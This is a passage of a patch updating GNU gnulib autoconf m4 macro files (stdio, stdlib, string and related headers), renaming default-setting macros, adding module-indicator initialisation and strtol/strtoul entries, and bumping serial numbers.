+- GNULIB_GETLINE=0; AC_SUBST([GNULIB_GETLINE])
+- GNULIB_OBSTACK_PRINTF=0; AC_SUBST([GNULIB_OBSTACK_PRINTF])
+- GNULIB_OBSTACK_PRINTF_POSIX=0; AC_SUBST([GNULIB_OBSTACK_PRINTF_POSIX])
+- GNULIB_PCLOSE=0; AC_SUBST([GNULIB_PCLOSE])
+- GNULIB_PERROR=0; AC_SUBST([GNULIB_PERROR])
+- GNULIB_POPEN=0; AC_SUBST([GNULIB_POPEN])
+- GNULIB_PRINTF=0; AC_SUBST([GNULIB_PRINTF])
+- GNULIB_PRINTF_POSIX=0; AC_SUBST([GNULIB_PRINTF_POSIX])
+- GNULIB_PUTC=0; AC_SUBST([GNULIB_PUTC])
+- GNULIB_PUTCHAR=0; AC_SUBST([GNULIB_PUTCHAR])
+- GNULIB_PUTS=0; AC_SUBST([GNULIB_PUTS])
+- GNULIB_REMOVE=0; AC_SUBST([GNULIB_REMOVE])
+- GNULIB_RENAME=0; AC_SUBST([GNULIB_RENAME])
+- GNULIB_RENAMEAT=0; AC_SUBST([GNULIB_RENAMEAT])
+- GNULIB_SCANF=0; AC_SUBST([GNULIB_SCANF])
+- GNULIB_SNPRINTF=0; AC_SUBST([GNULIB_SNPRINTF])
+- GNULIB_SPRINTF_POSIX=0; AC_SUBST([GNULIB_SPRINTF_POSIX])
+- GNULIB_STDIO_H_NONBLOCKING=0; AC_SUBST([GNULIB_STDIO_H_NONBLOCKING])
+- GNULIB_STDIO_H_SIGPIPE=0; AC_SUBST([GNULIB_STDIO_H_SIGPIPE])
+- GNULIB_TMPFILE=0; AC_SUBST([GNULIB_TMPFILE])
+- GNULIB_VASPRINTF=0; AC_SUBST([GNULIB_VASPRINTF])
+- GNULIB_VFSCANF=0; AC_SUBST([GNULIB_VFSCANF])
+- GNULIB_VSCANF=0; AC_SUBST([GNULIB_VSCANF])
+- GNULIB_VDPRINTF=0; AC_SUBST([GNULIB_VDPRINTF])
+- GNULIB_VFPRINTF=0; AC_SUBST([GNULIB_VFPRINTF])
+- GNULIB_VFPRINTF_POSIX=0; AC_SUBST([GNULIB_VFPRINTF_POSIX])
+- GNULIB_VPRINTF=0; AC_SUBST([GNULIB_VPRINTF])
+- GNULIB_VPRINTF_POSIX=0; AC_SUBST([GNULIB_VPRINTF_POSIX])
+- GNULIB_VSNPRINTF=0; AC_SUBST([GNULIB_VSNPRINTF])
+- GNULIB_VSPRINTF_POSIX=0; AC_SUBST([GNULIB_VSPRINTF_POSIX])
+- dnl Support Microsoft deprecated alias function names by default.
+- GNULIB_MDA_FCLOSEALL=1; AC_SUBST([GNULIB_MDA_FCLOSEALL])
+- GNULIB_MDA_FDOPEN=1; AC_SUBST([GNULIB_MDA_FDOPEN])
+- GNULIB_MDA_FILENO=1; AC_SUBST([GNULIB_MDA_FILENO])
+- GNULIB_MDA_GETW=1; AC_SUBST([GNULIB_MDA_GETW])
+- GNULIB_MDA_PUTW=1; AC_SUBST([GNULIB_MDA_PUTW])
+- GNULIB_MDA_TEMPNAM=1; AC_SUBST([GNULIB_MDA_TEMPNAM])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE_DECL_FCLOSEALL=1; AC_SUBST([HAVE_DECL_FCLOSEALL])
+ HAVE_DECL_FPURGE=1; AC_SUBST([HAVE_DECL_FPURGE])
+--- a/gnulib/m4/stdlib_h.m4
++++ b/gnulib/m4/stdlib_h.m4
+@@ -1,10 +1,10 @@
+-# stdlib_h.m4 serial 55
++# stdlib_h.m4 serial 63
+ dnl Copyright (C) 2007-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+ dnl with or without modifications, as long as this notice is preserved.
+
+-AC_DEFUN([gl_STDLIB_H],
++AC_DEFUN_ONCE([gl_STDLIB_H],
+ [
+ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
+ gl_NEXT_HEADERS([stdlib.h])
+@@ -28,7 +28,7 @@ AC_DEFUN([gl_STDLIB_H],
+ posix_memalign posix_openpt ptsname ptsname_r qsort_r
+ random random_r reallocarray realpath rpmatch secure_getenv setenv
+ setstate setstate_r srandom srandom_r
+- strtod strtold strtoll strtoull unlockpt unsetenv])
++ strtod strtol strtold strtoll strtoul strtoull unlockpt unsetenv])
+
+ AC_REQUIRE([AC_C_RESTRICT])
+
+@@ -46,61 +46,78 @@ AC_DEFUN([gl_STDLIB_H],
+ fi
+ ])
+
++# gl_STDLIB_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_STDLIB_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_STDLIB_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_STDLIB_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_STDLIB_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB__EXIT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ALIGNED_ALLOC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_ATOLL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CALLOC_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_CANONICALIZE_FILE_NAME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FREE_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETLOADAVG])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GETSUBOPT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_GRANTPT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MALLOC_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBTOWC])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKDTEMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKOSTEMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKOSTEMPS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKSTEMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MKSTEMPS])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_POSIX_MEMALIGN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_POSIX_OPENPT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PTSNAME])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PTSNAME_R])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_PUTENV])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_QSORT_R])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RANDOM])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RANDOM_R])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_REALLOCARRAY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_REALLOC_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_REALPATH])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RPMATCH])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SECURE_GETENV])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SETENV])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOD])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOLD])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOLL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOUL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOULL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SYSTEM_POSIX])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNLOCKPT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_UNSETENV])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_WCTOMB])
++ dnl Support Microsoft deprecated alias function names by default.
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_ECVT], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_FCVT], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_GCVT], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_MKTEMP], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_PUTENV], [1])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_STDLIB_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_STDLIB_H_DEFAULTS])
++])
++
+ AC_DEFUN([gl_STDLIB_H_DEFAULTS],
+ [
+- GNULIB__EXIT=0; AC_SUBST([GNULIB__EXIT])
+- GNULIB_ALIGNED_ALLOC=0; AC_SUBST([GNULIB_ALIGNED_ALLOC])
+- GNULIB_ATOLL=0; AC_SUBST([GNULIB_ATOLL])
+- GNULIB_CALLOC_POSIX=0; AC_SUBST([GNULIB_CALLOC_POSIX])
+- GNULIB_CANONICALIZE_FILE_NAME=0; AC_SUBST([GNULIB_CANONICALIZE_FILE_NAME])
+- GNULIB_FREE_POSIX=0; AC_SUBST([GNULIB_FREE_POSIX])
+- GNULIB_GETLOADAVG=0; AC_SUBST([GNULIB_GETLOADAVG])
+- GNULIB_GETSUBOPT=0; AC_SUBST([GNULIB_GETSUBOPT])
+- GNULIB_GRANTPT=0; AC_SUBST([GNULIB_GRANTPT])
+- GNULIB_MALLOC_POSIX=0; AC_SUBST([GNULIB_MALLOC_POSIX])
+- GNULIB_MBTOWC=0; AC_SUBST([GNULIB_MBTOWC])
+- GNULIB_MKDTEMP=0; AC_SUBST([GNULIB_MKDTEMP])
+- GNULIB_MKOSTEMP=0; AC_SUBST([GNULIB_MKOSTEMP])
+- GNULIB_MKOSTEMPS=0; AC_SUBST([GNULIB_MKOSTEMPS])
+- GNULIB_MKSTEMP=0; AC_SUBST([GNULIB_MKSTEMP])
+- GNULIB_MKSTEMPS=0; AC_SUBST([GNULIB_MKSTEMPS])
+- GNULIB_POSIX_MEMALIGN=0;AC_SUBST([GNULIB_POSIX_MEMALIGN])
+- GNULIB_POSIX_OPENPT=0; AC_SUBST([GNULIB_POSIX_OPENPT])
+- GNULIB_PTSNAME=0; AC_SUBST([GNULIB_PTSNAME])
+- GNULIB_PTSNAME_R=0; AC_SUBST([GNULIB_PTSNAME_R])
+- GNULIB_PUTENV=0; AC_SUBST([GNULIB_PUTENV])
+- GNULIB_QSORT_R=0; AC_SUBST([GNULIB_QSORT_R])
+- GNULIB_RANDOM=0; AC_SUBST([GNULIB_RANDOM])
+- GNULIB_RANDOM_R=0; AC_SUBST([GNULIB_RANDOM_R])
+- GNULIB_REALLOCARRAY=0; AC_SUBST([GNULIB_REALLOCARRAY])
+- GNULIB_REALLOC_POSIX=0; AC_SUBST([GNULIB_REALLOC_POSIX])
+- GNULIB_REALPATH=0; AC_SUBST([GNULIB_REALPATH])
+- GNULIB_RPMATCH=0; AC_SUBST([GNULIB_RPMATCH])
+- GNULIB_SECURE_GETENV=0; AC_SUBST([GNULIB_SECURE_GETENV])
+- GNULIB_SETENV=0; AC_SUBST([GNULIB_SETENV])
+- GNULIB_STRTOD=0; AC_SUBST([GNULIB_STRTOD])
+- GNULIB_STRTOLD=0; AC_SUBST([GNULIB_STRTOLD])
+- GNULIB_STRTOLL=0; AC_SUBST([GNULIB_STRTOLL])
+- GNULIB_STRTOULL=0; AC_SUBST([GNULIB_STRTOULL])
+- GNULIB_SYSTEM_POSIX=0; AC_SUBST([GNULIB_SYSTEM_POSIX])
+- GNULIB_UNLOCKPT=0; AC_SUBST([GNULIB_UNLOCKPT])
+- GNULIB_UNSETENV=0; AC_SUBST([GNULIB_UNSETENV])
+- GNULIB_WCTOMB=0; AC_SUBST([GNULIB_WCTOMB])
+- dnl Support Microsoft deprecated alias function names by default.
+- GNULIB_MDA_ECVT=1; AC_SUBST([GNULIB_MDA_ECVT])
+- GNULIB_MDA_FCVT=1; AC_SUBST([GNULIB_MDA_FCVT])
+- GNULIB_MDA_GCVT=1; AC_SUBST([GNULIB_MDA_GCVT])
+- GNULIB_MDA_MKTEMP=1; AC_SUBST([GNULIB_MDA_MKTEMP])
+- GNULIB_MDA_PUTENV=1; AC_SUBST([GNULIB_MDA_PUTENV])
+ dnl Assume proper GNU behavior unless another module says otherwise.
+ HAVE__EXIT=1; AC_SUBST([HAVE__EXIT])
+ HAVE_ALIGNED_ALLOC=1; AC_SUBST([HAVE_ALIGNED_ALLOC])
+@@ -137,8 +154,10 @@ AC_DEFUN([gl_STDLIB_H_DEFAULTS],
+ HAVE_SETSTATE=1; AC_SUBST([HAVE_SETSTATE])
+ HAVE_DECL_SETSTATE=1; AC_SUBST([HAVE_DECL_SETSTATE])
+ HAVE_STRTOD=1; AC_SUBST([HAVE_STRTOD])
++ HAVE_STRTOL=1; AC_SUBST([HAVE_STRTOL])
+ HAVE_STRTOLD=1; AC_SUBST([HAVE_STRTOLD])
+ HAVE_STRTOLL=1; AC_SUBST([HAVE_STRTOLL])
++ HAVE_STRTOUL=1; AC_SUBST([HAVE_STRTOUL])
+ HAVE_STRTOULL=1; AC_SUBST([HAVE_STRTOULL])
+ HAVE_STRUCT_RANDOM_DATA=1; AC_SUBST([HAVE_STRUCT_RANDOM_DATA])
+ HAVE_SYS_LOADAVG_H=0; AC_SUBST([HAVE_SYS_LOADAVG_H])
+@@ -160,11 +179,16 @@ AC_DEFUN([gl_STDLIB_H_DEFAULTS],
+ REPLACE_RANDOM=0; AC_SUBST([REPLACE_RANDOM])
+ REPLACE_RANDOM_R=0; AC_SUBST([REPLACE_RANDOM_R])
+ REPLACE_REALLOC=0; AC_SUBST([REPLACE_REALLOC])
++ REPLACE_REALLOCARRAY=0; AC_SUBST([REPLACE_REALLOCARRAY])
+ REPLACE_REALPATH=0; AC_SUBST([REPLACE_REALPATH])
+ REPLACE_SETENV=0; AC_SUBST([REPLACE_SETENV])
+ REPLACE_SETSTATE=0; AC_SUBST([REPLACE_SETSTATE])
+ REPLACE_STRTOD=0; AC_SUBST([REPLACE_STRTOD])
++ REPLACE_STRTOL=0; AC_SUBST([REPLACE_STRTOL])
+ REPLACE_STRTOLD=0; AC_SUBST([REPLACE_STRTOLD])
++ REPLACE_STRTOLL=0; AC_SUBST([REPLACE_STRTOLL])
++ REPLACE_STRTOUL=0; AC_SUBST([REPLACE_STRTOUL])
++ REPLACE_STRTOULL=0; AC_SUBST([REPLACE_STRTOULL])
+ REPLACE_UNSETENV=0; AC_SUBST([REPLACE_UNSETENV])
+ REPLACE_WCTOMB=0; AC_SUBST([REPLACE_WCTOMB])
+ ])
+--- a/gnulib/m4/stpcpy.m4
++++ b/gnulib/m4/stpcpy.m4
+@@ -1,4 +1,4 @@
+-# stpcpy.m4 serial 8
++# stpcpy.m4 serial 9
+ dnl Copyright (C) 2002, 2007, 2009-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -12,7 +12,7 @@ AC_DEFUN([gl_FUNC_STPCPY],
+ dnl The stpcpy() declaration in lib/string.in.h uses 'restrict'.
+ AC_REQUIRE([AC_C_RESTRICT])
+
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ AC_CHECK_FUNCS([stpcpy])
+ if test $ac_cv_func_stpcpy = no; then
+ HAVE_STPCPY=0
+--- a/gnulib/m4/strcase.m4
++++ b/gnulib/m4/strcase.m4
+@@ -1,4 +1,4 @@
+-# strcase.m4 serial 11
++# strcase.m4 serial 12
+ dnl Copyright (C) 2002, 2005-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -12,7 +12,7 @@ AC_DEFUN([gl_STRCASE],
+
+ AC_DEFUN([gl_FUNC_STRCASECMP],
+ [
+- AC_REQUIRE([gl_HEADER_STRINGS_H_DEFAULTS])
++ AC_REQUIRE([gl_STRINGS_H_DEFAULTS])
+ AC_CHECK_FUNCS([strcasecmp])
+ if test $ac_cv_func_strcasecmp = no; then
+ HAVE_STRCASECMP=0
+@@ -21,7 +21,7 @@ AC_DEFUN([gl_FUNC_STRCASECMP],
+
+ AC_DEFUN([gl_FUNC_STRNCASECMP],
+ [
+- AC_REQUIRE([gl_HEADER_STRINGS_H_DEFAULTS])
++ AC_REQUIRE([gl_STRINGS_H_DEFAULTS])
+ AC_CHECK_FUNCS([strncasecmp])
+ if test $ac_cv_func_strncasecmp = yes; then
+ HAVE_STRNCASECMP=1
+--- a/gnulib/m4/strcasestr.m4
++++ b/gnulib/m4/strcasestr.m4
+@@ -1,4 +1,4 @@
+-# strcasestr.m4 serial 26
++# strcasestr.m4 serial 27
+ dnl Copyright (C) 2005, 2007-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -7,7 +7,7 @@ dnl with or without modifications, as lo
+ dnl Check that strcasestr is present and works.
+ AC_DEFUN([gl_FUNC_STRCASESTR_SIMPLE],
+ [
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+
+ dnl Persuade glibc <string.h> to declare strcasestr().
+ AC_REQUIRE([AC_USE_SYSTEM_EXTENSIONS])
+--- a/gnulib/m4/strdup.m4
++++ b/gnulib/m4/strdup.m4
+@@ -1,4 +1,4 @@
+-# strdup.m4 serial 14
++# strdup.m4 serial 15
+
+ dnl Copyright (C) 2002-2021 Free Software Foundation, Inc.
+
+@@ -8,7 +8,7 @@ dnl with or without modifications, as lo
+
+ AC_DEFUN([gl_FUNC_STRDUP],
+ [
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ AC_CHECK_DECLS_ONCE([strdup])
+ if test $ac_cv_have_decl_strdup = no; then
+ HAVE_DECL_STRDUP=0
+@@ -17,7 +17,7 @@ AC_DEFUN([gl_FUNC_STRDUP],
+
+ AC_DEFUN([gl_FUNC_STRDUP_POSIX],
+ [
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ AC_REQUIRE([gl_CHECK_MALLOC_POSIX])
+ if test $gl_cv_func_malloc_posix != yes; then
+ REPLACE_STRDUP=1
+--- a/gnulib/m4/strerror.m4
++++ b/gnulib/m4/strerror.m4
+@@ -1,4 +1,4 @@
+-# strerror.m4 serial 21
++# strerror.m4 serial 22
+ dnl Copyright (C) 2002, 2007-2021 Free Software Foundation, Inc.
+ dnl This file is free software; the Free Software Foundation
+ dnl gives unlimited permission to copy and/or distribute it,
+@@ -6,7 +6,7 @@ dnl with or without modifications, as lo
+
+ AC_DEFUN([gl_FUNC_STRERROR],
+ [
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ AC_REQUIRE([gl_HEADER_ERRNO_H])
+ AC_REQUIRE([gl_FUNC_STRERROR_0])
+ AC_REQUIRE([AC_CANONICAL_HOST]) dnl for cross-compiles
+--- a/gnulib/m4/string_h.m4
++++ b/gnulib/m4/string_h.m4
+@@ -5,20 +5,15 @@
+ # gives unlimited permission to copy and/or distribute it,
+ # with or without modifications, as long as this notice is preserved.
+
+-# serial 29
++# serial 32
+
+ # Written by Paul Eggert.
+
+-AC_DEFUN([gl_HEADER_STRING_H],
++AC_DEFUN_ONCE([gl_STRING_H],
+ [
+- dnl Use AC_REQUIRE here, so that the default behavior below is expanded
+- dnl once only, before all statements that occur in other macros.
+- AC_REQUIRE([gl_HEADER_STRING_H_BODY])
+-])
+-
+-AC_DEFUN([gl_HEADER_STRING_H_BODY],
+-[
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only, before all statements
++ dnl that occur in other macros.
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
+ gl_NEXT_HEADERS([string.h])
+
+ dnl Check for declarations of anything we want to poison if the
+@@ -33,62 +28,77 @@ AC_DEFUN([gl_HEADER_STRING_H_BODY],
+ AC_REQUIRE([AC_C_RESTRICT])
+ ])
+
++# gl_STRING_MODULE_INDICATOR([modulename])
++# sets the shell variable that indicates the presence of the given module
++# to a C preprocessor expression that will evaluate to 1.
++# This macro invocation must not occur in macros that are AC_REQUIREd.
+ AC_DEFUN([gl_STRING_MODULE_INDICATOR],
+ [
+- dnl Use AC_REQUIRE here, so that the default settings are expanded once only.
+- AC_REQUIRE([gl_HEADER_STRING_H_DEFAULTS])
++ dnl Ensure to expand the default settings once only.
++ gl_STRING_H_REQUIRE_DEFAULTS
+ gl_MODULE_INDICATOR_SET_VARIABLE([$1])
+ dnl Define it also as a C macro, for the benefit of the unit tests.
+ gl_MODULE_INDICATOR_FOR_TESTS([$1])
+ ])
+
+-AC_DEFUN([gl_HEADER_STRING_H_DEFAULTS],
++# Initializes the default values for AC_SUBSTed shell variables.
++# This macro must not be AC_REQUIREd. It must only be invoked, and only
++# outside of macros or in macros that are not AC_REQUIREd.
++AC_DEFUN([gl_STRING_H_REQUIRE_DEFAULTS],
++[
++ m4_defun(GL_MODULE_INDICATOR_PREFIX[_STRING_H_MODULE_INDICATOR_DEFAULTS], [
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_EXPLICIT_BZERO])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FFSL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_FFSLL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MEMCHR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MEMMEM])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MEMPCPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MEMRCHR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_RAWMEMCHR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STPCPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STPNCPY])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRCHRNUL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRDUP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRNCAT])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRNDUP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRNLEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRPBRK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRSEP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRSTR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRCASESTR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRTOK_R])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSLEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSNLEN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSCHR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSRCHR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSSTR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSCASECMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSNCASECMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSPCASECMP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSCASESTR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSCSPN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSPBRK])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSSPN])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSSEP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MBSTOK_R])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRERROR])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRERROR_R])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRERRORNAME_NP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SIGABBREV_NP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_SIGDESCR_NP])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRSIGNAL])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_STRVERSCMP])
++ dnl Support Microsoft deprecated alias function names by default.
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_MEMCCPY], [1])
++ gl_MODULE_INDICATOR_INIT_VARIABLE([GNULIB_MDA_STRDUP], [1])
++ ])
++ m4_require(GL_MODULE_INDICATOR_PREFIX[_STRING_H_MODULE_INDICATOR_DEFAULTS])
++ AC_REQUIRE([gl_STRING_H_DEFAULTS])
++])
++
++AC_DEFUN([gl_STRING_H_DEFAULTS],
+ [
+- GNULIB_EXPLICIT_BZERO=0; AC_SUBST([GNULIB_EXPLICIT_BZERO])
+- GNULIB_FFSL=0; AC_SUBST([GNULIB_FFSL])
+- GNULIB_FFSLL=0; AC_SUBST([GNULIB_FFSLL])
+- GNULIB_MEMCHR=0; AC_SUBST([GNULIB_MEMCHR])
+- GNULIB_MEMMEM=0; AC_SUBST([GNULIB_MEMMEM])
+- GNULIB_MEMPCPY=0; AC_SUBST([GNULIB_MEMPCPY])
+- GNULIB_MEMRCHR=0; AC_SUBST([GNULIB_MEMRCHR])
+- GNULIB_RAWMEMCHR=0; AC_SUBST([GNULIB_RAWMEMCHR])
+- GNULIB_STPCPY=0; AC_SUBST([GNULIB_STPCPY])
+- GNULIB_STPNCPY=0; AC_SUBST([GNULIB_STPNCPY])
+- GNULIB_STRCHRNUL=0; AC_SUBST([GNULIB_STRCHRNUL])
+- GNULIB_STRDUP=0; AC_SUBST([GNULIB_STRDUP])
+- GNULIB_STRNCAT=0; AC_SUBST([GNULIB_STRNCAT])
+- GNULIB_STRNDUP=0; AC_SUBST([GNULIB_STRNDUP])
+- GNULIB_STRNLEN=0; AC_SUBST([GNULIB_STRNLEN])
+- GNULIB_STRPBRK=0; AC_SUBST([GNULIB_STRPBRK])
+- GNULIB_STRSEP=0; AC_SUBST([GNULIB_STRSEP])
+- GNULIB_STRSTR=0; AC_SUBST([GNULIB_STRSTR])
+- GNULIB_STRCASESTR=0; AC_SUBST([GNULIB_STRCASESTR])
+- GNULIB_STRTOK_R=0; AC_SUBST([GNULIB_STRTOK_R])
+- GNULIB_MBSLEN=0; AC_SUBST([GNULIB_MBSLEN])
+- GNULIB_MBSNLEN=0; AC_SUBST([GNULIB_MBSNLEN])
+- GNULIB_MBSCHR=0; AC_SUBST([GNULIB_MBSCHR])
+- GNULIB_MBSRCHR=0; AC_SUBST([GNULIB_MBSRCHR])
+- GNULIB_MBSSTR=0; AC_SUBST([GNULIB_MBSSTR])
+- GNULIB_MBSCASECMP=0; AC_SUBST([GNULIB_MBSCASECMP])
+- GNULIB_MBSNCASECMP=0; AC_SUBST([GNULIB_MBSNCASECMP])
+- GNULIB_MBSPCASECMP=0; AC_SUBST([GNULIB_MBSPCASECMP])
+- GNULIB_MBSCASESTR=0; AC_SUBST([GNULIB_MBSCASESTR])
+- GNULIB_MBSCSPN=0; AC_SUBST([GNULIB_MBSCSPN])
+- GNULIB_MBSPBRK=0; AC_SUBST([GNULIB_MBSPBRK])
+- GNULIB_MBSSPN=0; AC_SUBST([GNULIB_MBSSPN])
+- GNULIB_MBSSEP=0; AC_SUBST([GNULIB_MBSSEP])
+- GNULIB_MBSTOK_R=0; AC_SUBST([GNULIB_MBSTOK_R])
+- GNULIB_STRERROR=0; AC_SUBST([GNULIB_STRERROR])
+- GNULIB_STRERROR_R=0; AC_SUBST([GNULIB_STRERROR_R])
+- GNULIB_STRERRORNAME_NP=0; AC_SUBST([GNULIB_STRERRORNAME_NP])
+- GNULIB_SIGABBREV_NP=0; AC_SUBST([GNULIB_SIGABBREV_NP])
+- GNULIB_SIGDESCR_NP=0; AC_SUBST([GNULIB_SIGDESCR_NP])
